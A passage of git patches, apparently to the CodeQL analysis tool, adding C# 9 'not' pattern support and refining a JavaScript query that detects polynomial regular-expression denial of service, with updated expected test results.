.../Entities/Expressions/Patterns/Pattern.cs | 3 + .../Expressions/Patterns/UnaryPattern.cs | 15 +++++ .../Kinds/ExprKind.cs | 3 +- .../ql/src/semmle/code/csharp/exprs/Expr.qll | 19 +++++++ csharp/ql/src/semmlecode.csharp.dbscheme | 3 + .../library-tests/csharp9/PrintAst.expected | 56 +++++++++++++++++++ .../library-tests/csharp9/UnaryPattern.cs | 22 ++++++++ .../csharp9/unaryPattern.expected | 4 ++ .../library-tests/csharp9/unaryPattern.ql | 4 ++ csharp/upgrades/TO_CHANGE/upgrade.properties | 2 + 11 files changed, 133 insertions(+), 1 deletion(-) create mode 100644 csharp/change-notes/2020-11-19-Unary-pattern.md create mode 100644 csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Patterns/UnaryPattern.cs create mode 100644 csharp/ql/test/library-tests/csharp9/UnaryPattern.cs create mode 100644 csharp/ql/test/library-tests/csharp9/unaryPattern.expected create mode 100644 csharp/ql/test/library-tests/csharp9/unaryPattern.ql create mode 100644 csharp/upgrades/TO_CHANGE/upgrade.properties diff --git a/csharp/change-notes/2020-11-19-Unary-pattern.md b/csharp/change-notes/2020-11-19-Unary-pattern.md new file mode 100644 index 00000000000..0afd5f0c7c1 --- /dev/null +++ b/csharp/change-notes/2020-11-19-Unary-pattern.md @@ -0,0 +1,3 @@ +lgtm,codescanning +* The `UnaryPatternExpr` and `NotPatternExpr` classes have been added to support +C# 9 unary `not` pattern. diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Patterns/Pattern.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Patterns/Pattern.cs index 7fe552ec8e9..eef8f28b5fa 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Patterns/Pattern.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Patterns/Pattern.cs @@ -20,6 +20,9 @@ namespace Semmle.Extraction.CSharp.Entities.Expressions case TypePatternSyntax typePattern: return Expressions.TypeAccess.Create(cx, typePattern.Type, parent, child); + case UnaryPatternSyntax unaryPattern: + return new UnaryPattern(cx, unaryPattern, parent, child); + case DeclarationPatternSyntax declPattern: // Creates a single local variable declaration. { diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Patterns/UnaryPattern.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Patterns/UnaryPattern.cs new file mode 100644 index 00000000000..14760e7331a --- /dev/null +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Patterns/UnaryPattern.cs @@ -0,0 +1,15 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Semmle.Extraction.Entities; +using Semmle.Extraction.Kinds; + +namespace Semmle.Extraction.CSharp.Entities.Expressions +{ + internal class UnaryPattern : Expression + { + public UnaryPattern(Context cx, UnaryPatternSyntax syntax, IExpressionParentEntity parent, int child) : + base(new ExpressionInfo(cx, NullType.Create(cx), cx.Create(syntax.GetLocation()), ExprKind.NOT_PATTERN, parent, child, false, null)) + { + Pattern.Create(cx, syntax.Pattern, this, 0); + } + } +} \ No newline at end of file diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Kinds/ExprKind.cs b/csharp/extractor/Semmle.Extraction.CSharp/Kinds/ExprKind.cs index f46ed47ff5f..31b69075231 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Kinds/ExprKind.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Kinds/ExprKind.cs @@ -115,6 +115,7 @@ namespace Semmle.Extraction.Kinds SWITCH_CASE = 118, ASSIGN_COALESCE = 119, SUPPRESS_NULLABLE_WARNING = 120, - NAMESPACE_ACCESS = 121 + NAMESPACE_ACCESS = 121, + NOT_PATTERN = 126 } } diff --git a/csharp/ql/src/semmle/code/csharp/exprs/Expr.qll b/csharp/ql/src/semmle/code/csharp/exprs/Expr.qll index 5baa9da1265..411f75ba40c 100644 --- a/csharp/ql/src/semmle/code/csharp/exprs/Expr.qll +++ b/csharp/ql/src/semmle/code/csharp/exprs/Expr.qll @@ -295,6 +295,12 @@ private predicate hasChildPattern(ControlFlowElement pm, Expr child) { child = mid.getChild(2).getAChildExpr() or child = mid.getChild(3).getAChildExpr() ) + or + exists(Expr mid | + hasChildPattern(pm, mid) and + mid instanceof @unary_pattern_expr and + child = mid.getChild(0) + ) } /** @@ -444,6 +450,19 @@ class PositionalPatternExpr extends Expr, @positional_pattern_expr { override string getAPrimaryQlClass() { result = "PositionalPatternExpr" } } +/** A unary pattern. For example, `not 1`. */ +class UnaryPatternExpr extends PatternExpr, @unary_pattern_expr { + /** Gets the underlying pattern. */ + PatternExpr getPattern() { result = this.getChild(0) } +} + +/** A not pattern. For example, `not 1`. */ +class NotPatternExpr extends UnaryPatternExpr, @not_pattern_expr { + override string toString() { result = "not ..." } + + override string getAPrimaryQlClass() { result = "NotPatternExpr" } +} + /** * An expression or statement that matches the value of an expression against * a pattern. Either an `is` expression or a `case` expression/statement. diff --git a/csharp/ql/src/semmlecode.csharp.dbscheme b/csharp/ql/src/semmlecode.csharp.dbscheme index e6442d16b7e..5f6770a8a17 100644 --- a/csharp/ql/src/semmlecode.csharp.dbscheme +++ b/csharp/ql/src/semmlecode.csharp.dbscheme @@ -1009,11 +1009,14 @@ case @expr.kind of | 119 = @assign_coalesce_expr | 120 = @suppress_nullable_warning_expr | 121 = @namespace_access_expr +/* C# 9.0 */ +| 126 = @not_pattern_expr ; @switch = @switch_stmt | @switch_expr; @case = @case_stmt | @switch_case_expr; @pattern_match = @case | @is_expr; +@unary_pattern_expr = @not_pattern_expr; @integer_literal_expr = @int_literal_expr | @long_literal_expr | @uint_literal_expr | @ulong_literal_expr; @real_literal_expr = @float_literal_expr | @double_literal_expr | @decimal_literal_expr; diff --git a/csharp/ql/test/library-tests/csharp9/PrintAst.expected b/csharp/ql/test/library-tests/csharp9/PrintAst.expected index b75cd6c3177..59dabf7e3ad 100644 --- a/csharp/ql/test/library-tests/csharp9/PrintAst.expected +++ b/csharp/ql/test/library-tests/csharp9/PrintAst.expected @@ -764,3 +764,59 @@ TypePattern.cs: # 14| 0: [VariablePatternExpr] Object o # 14| 0: [TypeMention] object # 14| 2: [LocalVariableAccess] access to local variable o +UnaryPattern.cs: +# 3| [Class] UnaryPattern +# 5| 5: [Property] P1 +# 5| -1: [TypeMention] int +# 5| 3: [Getter] get_P1 +# 5| 4: [Setter] set_P1 +#-----| 2: (Parameters) +# 5| 0: [Parameter] value +# 7| 6: [Method] M1 +# 7| -1: [TypeMention] bool +#-----| 2: (Parameters) +# 7| 0: [Parameter] c +# 7| -1: [TypeMention] char +# 8| 4: [IsExpr] ... is ... +# 8| 0: [ParameterAccess] access to parameter c +# 8| 1: [NotPatternExpr] not ... +# 8| 0: [CharLiteral,ConstantPatternExpr] a +# 9| 7: [Method] M2 +# 9| -1: [TypeMention] bool +#-----| 2: (Parameters) +# 9| 0: [Parameter] c +# 9| -1: [TypeMention] object +# 10| 4: [IsExpr] ... is ... +# 10| 0: [ParameterAccess] access to parameter c +# 10| 1: [NotPatternExpr] not ... +# 10| 0: [ConstantPatternExpr,NullLiteral] null +# 11| 8: [Method] M3 +# 11| -1: [TypeMention] bool +#-----| 2: (Parameters) +# 11| 0: [Parameter] c +# 11| -1: [TypeMention] object +# 12| 4: [IsExpr] ... is ... +# 12| 0: [ParameterAccess] access to parameter c +# 12| 1: [NotPatternExpr] not ... +# 12| 0: [RecursivePatternExpr] { ... } +# 12| 0: [LocalVariableDeclExpr] UnaryPattern u +# 12| 1: [TypeAccess] access to type UnaryPattern +# 12| 0: [TypeMention] UnaryPattern +# 12| 3: [PropertyPatternExpr] { ... } +# 12| 0: [ConstantPatternExpr,IntLiteral,LabeledPatternExpr] 1 +# 14| 9: [Method] M4 +# 14| -1: [TypeMention] string +#-----| 2: (Parameters) +# 14| 0: [Parameter] i +# 14| -1: [TypeMention] int +# 15| 4: [BlockStmt] {...} +# 16| 0: [ReturnStmt] return ...; +# 16| 0: [SwitchExpr] ... switch { ... } +# 16| -1: [ParameterAccess] access to parameter i +# 18| 0: [SwitchCaseExpr] ... => ... +# 18| 0: [NotPatternExpr] not ... +# 18| 0: [ConstantPatternExpr,IntLiteral] 1 +# 18| 2: [StringLiteral] "not 1" +# 19| 1: [SwitchCaseExpr] ... => ... +# 19| 0: [DiscardPatternExpr] _ +# 19| 2: [StringLiteral] "other" diff --git a/csharp/ql/test/library-tests/csharp9/UnaryPattern.cs b/csharp/ql/test/library-tests/csharp9/UnaryPattern.cs new file mode 100644 index 00000000000..5dfcb335bfb --- /dev/null +++ b/csharp/ql/test/library-tests/csharp9/UnaryPattern.cs @@ -0,0 +1,22 @@ +using System; + +public class UnaryPattern +{ + public int P1 { get; set; } + + public static bool M1(char c) => + c is not 'a'; + public static bool M2(object c) => + c is not null; + public static bool M3(object c) => + c is not UnaryPattern { P1: 1 } u; + + public static string M4(int i) + { + return i switch + { + not 1 => "not 1", + _ => "other" + }; + } +} \ No newline at end of file diff --git a/csharp/ql/test/library-tests/csharp9/unaryPattern.expected b/csharp/ql/test/library-tests/csharp9/unaryPattern.expected new file mode 100644 index 00000000000..7a6ecdebeae --- /dev/null +++ b/csharp/ql/test/library-tests/csharp9/unaryPattern.expected @@ -0,0 +1,4 @@ +| UnaryPattern.cs:8:14:8:20 | not ... | UnaryPattern.cs:8:18:8:20 | a | +| UnaryPattern.cs:10:14:10:21 | not ... | UnaryPattern.cs:10:18:10:21 | null | +| UnaryPattern.cs:12:14:12:41 | not ... | UnaryPattern.cs:12:18:12:41 | { ... } | +| UnaryPattern.cs:18:13:18:17 | not ... | UnaryPattern.cs:18:17:18:17 | 1 | diff --git a/csharp/ql/test/library-tests/csharp9/unaryPattern.ql b/csharp/ql/test/library-tests/csharp9/unaryPattern.ql new file mode 100644 index 00000000000..87b70067664 --- /dev/null +++ b/csharp/ql/test/library-tests/csharp9/unaryPattern.ql @@ -0,0 +1,4 @@ +import csharp + +from UnaryPatternExpr pattern +select pattern, pattern.getAChild() diff --git a/csharp/upgrades/TO_CHANGE/upgrade.properties b/csharp/upgrades/TO_CHANGE/upgrade.properties new file mode 100644 index 00000000000..dd386a913cd --- /dev/null +++ b/csharp/upgrades/TO_CHANGE/upgrade.properties @@ -0,0 +1,2 @@ +description: Add 'not_pattern_expr' to the list of 'expr' types. +compatibility: backwards From 48d8ee9166d6e30b0f66c9fb467ab490b1f4df5e Mon Sep 17 00:00:00 2001 From: Tamas Vajk <tamasvajk@github.com> Date: Mon, 11 Jan 2021 16:13:53 +0100 Subject: [PATCH 0568/1241] Fix failing test --- csharp/ql/test/library-tests/csharp9/initOnlyProperty.expected | 1 + 1 file changed, 1 insertion(+) diff --git a/csharp/ql/test/library-tests/csharp9/initOnlyProperty.expected b/csharp/ql/test/library-tests/csharp9/initOnlyProperty.expected index 8915b72cc42..e661db79eb2 100644 --- a/csharp/ql/test/library-tests/csharp9/initOnlyProperty.expected +++ b/csharp/ql/test/library-tests/csharp9/initOnlyProperty.expected @@ -4,3 +4,4 @@ | InitOnlyProperty.cs:14:37:14:39 | set_Prop2 | set | | InitOnlyProperty.cs:20:38:20:41 | set_Prop1 | init | | InitOnlyProperty.cs:24:9:24:12 | set_Prop2 | init | +| UnaryPattern.cs:5:26:5:28 | set_P1 | set | From e8ea720650d9a4888f799d4bb179f8ab7e4daec7 Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen <erik-krogh@github.com> Date: Thu, 14 Jan 2021 10:36:10 +0100 Subject: [PATCH 0569/1241] adjust `description` to not mention user-provided values --- javascript/ql/src/Performance/PolynomialReDoS.ql | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/javascript/ql/src/Performance/PolynomialReDoS.ql b/javascript/ql/src/Performance/PolynomialReDoS.ql index 393faef10dd..96bf1788be3 100644 --- a/javascript/ql/src/Performance/PolynomialReDoS.ql +++ b/javascript/ql/src/Performance/PolynomialReDoS.ql @@ -1,8 +1,7 @@ /** * @name Polynomial regular expression used on uncontrolled data * @description A regular expression that can require polynomial time - * to match user-provided values may be - * vulnerable to denial-of-service attacks. + * to match may be vulnerable to denial-of-service attacks. * @kind path-problem * @problem.severity warning * @precision high From a520a51d42275d0fe7394fc5339e010de8250d45 Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen <erik-krogh@github.com> Date: Thu, 14 Jan 2021 11:22:20 +0100 Subject: [PATCH 0570/1241] highlight the use of the regular expression, instead of the sink for user input --- .../ql/src/Performance/PolynomialReDoS.ql | 10 +- .../PolynomialReDoSCustomizations.qll | 10 +- .../ReDoS/PolynomialReDoS.expected | 152 +++++++++--------- 3 files changed, 90 insertions(+), 82 deletions(-) diff --git a/javascript/ql/src/Performance/PolynomialReDoS.ql b/javascript/ql/src/Performance/PolynomialReDoS.ql index 96bf1788be3..e43c6e85d6b 100644 --- a/javascript/ql/src/Performance/PolynomialReDoS.ql +++ b/javascript/ql/src/Performance/PolynomialReDoS.ql @@ -16,13 +16,13 @@ import semmle.javascript.security.performance.PolynomialReDoS::PolynomialReDoS import semmle.javascript.security.performance.SuperlinearBackTracking import DataFlow::PathGraph -from Configuration cfg, DataFlow::PathNode source, DataFlow::PathNode sink +from Configuration cfg, DataFlow::PathNode source, DataFlow::PathNode sink, Sink sinkNode where cfg.hasFlowPath(source, sink) and + sinkNode = sink.getNode() and not ( source.getNode().(Source).getKind() = "url" and - sink.getNode().(Sink).getRegExp().(PolynomialBackTrackingTerm).isAtEndLine() + sinkNode.getRegExp().(PolynomialBackTrackingTerm).isAtEndLine() ) -select sink.getNode(), source, sink, "This expensive $@ use depends on $@.", - sink.getNode().(Sink).getRegExp(), "regular expression", source.getNode(), - source.getNode().(Source).describe() +select sinkNode.getHighlight(), source, sink, "This expensive $@ use depends on $@.", + sinkNode.getRegExp(), "regular expression", source.getNode(), source.getNode().(Source).describe() diff --git a/javascript/ql/src/semmle/javascript/security/performance/PolynomialReDoSCustomizations.qll b/javascript/ql/src/semmle/javascript/security/performance/PolynomialReDoSCustomizations.qll index 09266256f6c..67904a9bfe3 100644 --- a/javascript/ql/src/semmle/javascript/security/performance/PolynomialReDoSCustomizations.qll +++ b/javascript/ql/src/semmle/javascript/security/performance/PolynomialReDoSCustomizations.qll @@ -31,6 +31,11 @@ module PolynomialReDoS { */ abstract class Sink extends DataFlow::Node { abstract RegExpTerm getRegExp(); + + /** + * Gets the node to highlight in the alert message. + */ + DataFlow::Node getHighlight() { result = this } } /** @@ -54,9 +59,10 @@ module PolynomialReDoS { */ class PolynomialBackTrackingTermUse extends Sink { PolynomialBackTrackingTerm term; + DataFlow::MethodCallNode mcn; PolynomialBackTrackingTermUse() { - exists(DataFlow::MethodCallNode mcn, DataFlow::Node regexp, string name | + exists(DataFlow::Node regexp, string name | term.getRootTerm() = RegExp::getRegExpFromNode(regexp) | this = mcn.getArgument(0) and @@ -77,6 +83,8 @@ module PolynomialReDoS { } override RegExpTerm getRegExp() { result = term } + + override DataFlow::Node getHighlight() { result = mcn } } /** diff --git a/javascript/ql/test/query-tests/Performance/ReDoS/PolynomialReDoS.expected b/javascript/ql/test/query-tests/Performance/ReDoS/PolynomialReDoS.expected index 4a2b6a87c9f..c7a8b211703 100644 --- a/javascript/ql/test/query-tests/Performance/ReDoS/PolynomialReDoS.expected +++ b/javascript/ql/test/query-tests/Performance/ReDoS/PolynomialReDoS.expected @@ -288,79 +288,79 @@ edges | polynomial-redos.js:123:3:123:20 | result | polynomial-redos.js:124:12:124:17 | result | | polynomial-redos.js:123:13:123:20 | replaced | polynomial-redos.js:123:3:123:20 | result | #select -| lib/lib.js:4:14:4:17 | name | lib/lib.js:3:28:3:31 | name | lib/lib.js:4:14:4:17 | name | This expensive $@ use depends on $@. | lib/lib.js:1:15:1:16 | a* | regular expression | lib/lib.js:3:28:3:31 | name | library input | -| polynomial-redos.js:7:2:7:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:7:2:7:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:7:24:7:26 | \\s+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:8:2:8:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:8:2:8:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:8:17:8:18 | * | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:9:2:9:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:9:2:9:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:9:19:9:21 | \\s* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:11:2:11:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:11:2:11:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:11:19:11:20 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:12:2:12:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:12:2:12:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:12:19:12:20 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:15:2:15:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:15:2:15:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:15:28:15:35 | [\\s\\S]*? | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:15:2:15:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:15:2:15:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:15:41:15:43 | \\s* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:16:2:16:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:16:2:16:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:16:25:16:32 | [\\s\\S]*? | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:17:23:17:29 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:17:23:17:29 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:17:5:17:6 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:17:23:17:29 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:17:23:17:29 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:17:11:17:12 | .+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:18:2:18:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:18:2:18:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:18:83:18:100 | [\\u0600-\\u06FF\\/]+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:19:2:19:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:19:2:19:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:19:17:19:22 | [0-9]* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:20:2:20:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:20:2:20:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:20:56:20:58 | \\d+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:25:2:25:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:25:2:25:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:25:37:25:56 | [a-zA-Z0-9+\\/ \\t\\n]+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:25:2:25:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:25:2:25:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:25:63:25:64 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:30:2:30:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:30:2:30:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:30:19:30:22 | [?]+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:30:2:30:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:30:2:30:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:30:23:30:24 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:33:2:33:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:33:2:33:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:33:17:33:20 | (.)* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:36:2:36:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:36:2:36:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:36:18:36:19 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:36:2:36:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:36:2:36:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:36:35:36:36 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:37:2:37:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:37:2:37:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:37:18:37:19 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:37:2:37:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:37:2:37:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:37:35:37:36 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:38:2:38:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:38:2:38:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:38:18:38:19 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:38:2:38:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:38:2:38:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:38:34:38:35 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:40:2:40:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:40:2:40:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:40:51:40:63 | [?\\x21-\\x7E]* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:43:2:43:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:43:2:43:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:43:67:43:72 | [^\\n]+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:48:2:48:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:48:2:48:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:48:22:48:24 | \\s* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:50:14:50:20 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:50:14:50:20 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:50:4:50:5 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:51:26:51:32 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:51:26:51:32 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:51:11:51:17 | (YH\|J)* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:52:22:52:28 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:52:22:52:28 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:52:12:52:13 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:53:21:53:27 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:53:21:53:27 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:53:3:53:8 | (B\|Y)+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:53:21:53:27 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:53:21:53:27 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:53:9:53:12 | (Y)* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:54:22:54:28 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:54:22:54:28 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:54:4:54:9 | (B\|Y)+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:54:22:54:28 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:54:22:54:28 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:54:10:54:13 | (.)* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:55:23:55:29 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:55:23:55:29 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:55:11:55:14 | (Y)* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:56:22:56:28 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:56:22:56:28 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:56:10:56:13 | (Y)* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:57:25:57:31 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:57:25:57:31 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:57:11:57:16 | (Y\|K)* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:58:21:58:27 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:58:21:58:27 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:58:11:58:12 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:59:23:59:29 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:59:23:59:29 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:59:11:59:14 | (.)* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:62:17:62:23 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:62:17:62:23 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:62:7:62:8 | Y* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:63:21:63:27 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:63:21:63:27 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:63:11:63:12 | Y* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:64:24:64:30 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:64:24:64:30 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:64:14:64:15 | Y* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:65:24:65:30 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:65:24:65:30 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:65:14:65:15 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:66:19:66:25 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:66:19:66:25 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:66:9:66:10 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:67:18:67:24 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:67:18:67:24 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:67:8:67:9 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:69:18:69:25 | req.body | polynomial-redos.js:69:18:69:25 | req.body | 